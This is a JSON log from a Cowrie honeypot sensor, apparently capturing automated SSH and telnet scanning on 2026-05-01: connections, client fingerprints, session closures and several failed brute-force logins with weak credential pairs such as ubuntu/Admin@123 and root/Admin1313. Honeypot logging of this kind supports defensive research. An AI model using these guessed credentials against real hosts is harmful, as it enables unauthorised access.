{"eventid":"cowrie.session.closed","duration":43.42425274848938,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:28:10.657795Z","src_ip":"103.115.172.252","session":"9f64cac47b6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:28:11.833837Z","src_ip":"36.92.140.209","session":"499d8c3c8737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":37546,"dst_ip":"10.17.0.5","dst_port":23,"session":"b257d8da0dcf","protocol":"telnet","message":"New connection: 69.65.3.189:37546 (10.17.0.5:23) [session: b257d8da0dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:28:25.148377Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":47274,"dst_ip":"159.203.135.109","dst_port":22,"session":"e49a10c414a7","protocol":"ssh","message":"New connection: 43.162.98.118:47274 (159.203.135.109:22) [session: e49a10c414a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:28:39.303689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:28:39.308459Z","src_ip":"43.162.98.118","session":"e49a10c414a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:28:39.376139Z","src_ip":"43.162.98.118","session":"e49a10c414a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"666666666","message":"login attempt [ubuntu/666666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:28:39.677910Z","src_ip":"43.162.98.118","session":"e49a10c414a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:28:40.748635Z","src_ip":"43.162.98.118","session":"e49a10c414a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":43256,"dst_ip":"159.203.135.109","dst_port":22,"session":"67423ba4698f","protocol":"ssh","message":"New connection: 36.92.140.209:43256 (159.203.135.109:22) [session: 67423ba4698f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:29:05.559246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:29:05.565529Z","src_ip":"36.92.140.209","session":"67423ba4698f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:29:05.839906Z","src_ip":"36.92.140.209","session":"67423ba4698f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Admin@123","message":"login attempt [ubuntu/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:29:06.968323Z","src_ip":"36.92.140.209","session":"67423ba4698f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.31296110153198,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:29:07.461244Z","src_ip":"69.65.3.189","session":"b257d8da0dcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:29:08.244639Z","src_ip":"36.92.140.209","session":"67423ba4698f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.64.167.141","src_port":40976,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9e3f61d8d8c","protocol":"telnet","message":"New connection: 102.64.167.141:40976 (10.17.0.5:23) [session: f9e3f61d8d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:29:12.937881Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.146.177.161","src_port":59532,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d492f8ababf","protocol":"telnet","message":"New connection: 185.146.177.161:59532 (159.203.135.109:23) [session: 8d492f8ababf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:29:16.954093Z"}
{"eventid":"cowrie.session.closed","duration":13.509330749511719,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:29:26.447083Z","src_ip":"102.64.167.141","session":"f9e3f61d8d8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":45926,"dst_ip":"159.203.135.109","dst_port":22,"session":"680d569ce2f2","protocol":"ssh","message":"New connection: 43.162.98.118:45926 (159.203.135.109:22) [session: 680d569ce2f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:29:28.558952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:29:28.563176Z","src_ip":"43.162.98.118","session":"680d569ce2f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:29:28.630866Z","src_ip":"43.162.98.118","session":"680d569ce2f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"12345","message":"login attempt [debian/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:29:28.934111Z","src_ip":"43.162.98.118","session":"680d569ce2f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.26275110244751,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:29:29.216717Z","src_ip":"185.146.177.161","session":"8d492f8ababf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:29:30.005982Z","src_ip":"43.162.98.118","session":"680d569ce2f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":35534,"dst_ip":"10.17.0.5","dst_port":23,"session":"516479d85751","protocol":"telnet","message":"New connection: 69.65.3.189:35534 (10.17.0.5:23) [session: 516479d85751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:29:55.247240Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":58054,"dst_ip":"159.203.135.109","dst_port":22,"session":"2deb16dc0c01","protocol":"ssh","message":"New connection: 36.92.140.209:58054 (159.203.135.109:22) [session: 2deb16dc0c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:01.021181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:01.027671Z","src_ip":"36.92.140.209","session":"2deb16dc0c01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:01.317058Z","src_ip":"36.92.140.209","session":"2deb16dc0c01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1313","message":"login attempt [root/Admin1313] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:02.511944Z","src_ip":"36.92.140.209","session":"2deb16dc0c01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:03.803974Z","src_ip":"36.92.140.209","session":"2deb16dc0c01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":46942,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c71167b86a6","protocol":"ssh","message":"New connection: 103.228.69.212:46942 (10.17.0.5:22) [session: 1c71167b86a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:09.937279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:09.942302Z","src_ip":"103.228.69.212","session":"1c71167b86a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:10.196398Z","src_ip":"103.228.69.212","session":"1c71167b86a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ss1234","message":"login attempt [ubuntu/P@ss1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:11.240403Z","src_ip":"103.228.69.212","session":"1c71167b86a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:12.501597Z","src_ip":"103.228.69.212","session":"1c71167b86a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":35818,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6071c35d174","protocol":"ssh","message":"New connection: 43.162.98.118:35818 (159.203.135.109:22) [session: b6071c35d174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:17.578738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:17.586068Z","src_ip":"43.162.98.118","session":"b6071c35d174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:17.656132Z","src_ip":"43.162.98.118","session":"b6071c35d174","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:17.960764Z","src_ip":"43.162.98.118","session":"b6071c35d174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:19.032937Z","src_ip":"43.162.98.118","session":"b6071c35d174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.206767082214355,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:37.453874Z","src_ip":"69.65.3.189","session":"516479d85751","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":52282,"dst_ip":"10.17.0.5","dst_port":23,"session":"708d0509ac9c","protocol":"telnet","message":"New connection: 103.115.172.252:52282 (10.17.0.5:23) [session: 708d0509ac9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:37.508777Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":34326,"dst_ip":"159.203.135.109","dst_port":22,"session":"da40f7d78fd2","protocol":"ssh","message":"New connection: 187.16.96.250:34326 (159.203.135.109:22) [session: da40f7d78fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:48.244233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:48.249560Z","src_ip":"187.16.96.250","session":"da40f7d78fd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:48.366084Z","src_ip":"187.16.96.250","session":"da40f7d78fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root512","message":"login attempt [ubuntu/root512] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:48.864910Z","src_ip":"187.16.96.250","session":"da40f7d78fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:49.985414Z","src_ip":"187.16.96.250","session":"da40f7d78fd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":37000,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cacc887eaf6","protocol":"ssh","message":"New connection: 80.94.92.184:37000 (10.17.0.5:22) [session: 8cacc887eaf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:52.771977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:52.905579Z","src_ip":"80.94.92.184","session":"8cacc887eaf6","protocol":"ssh"}
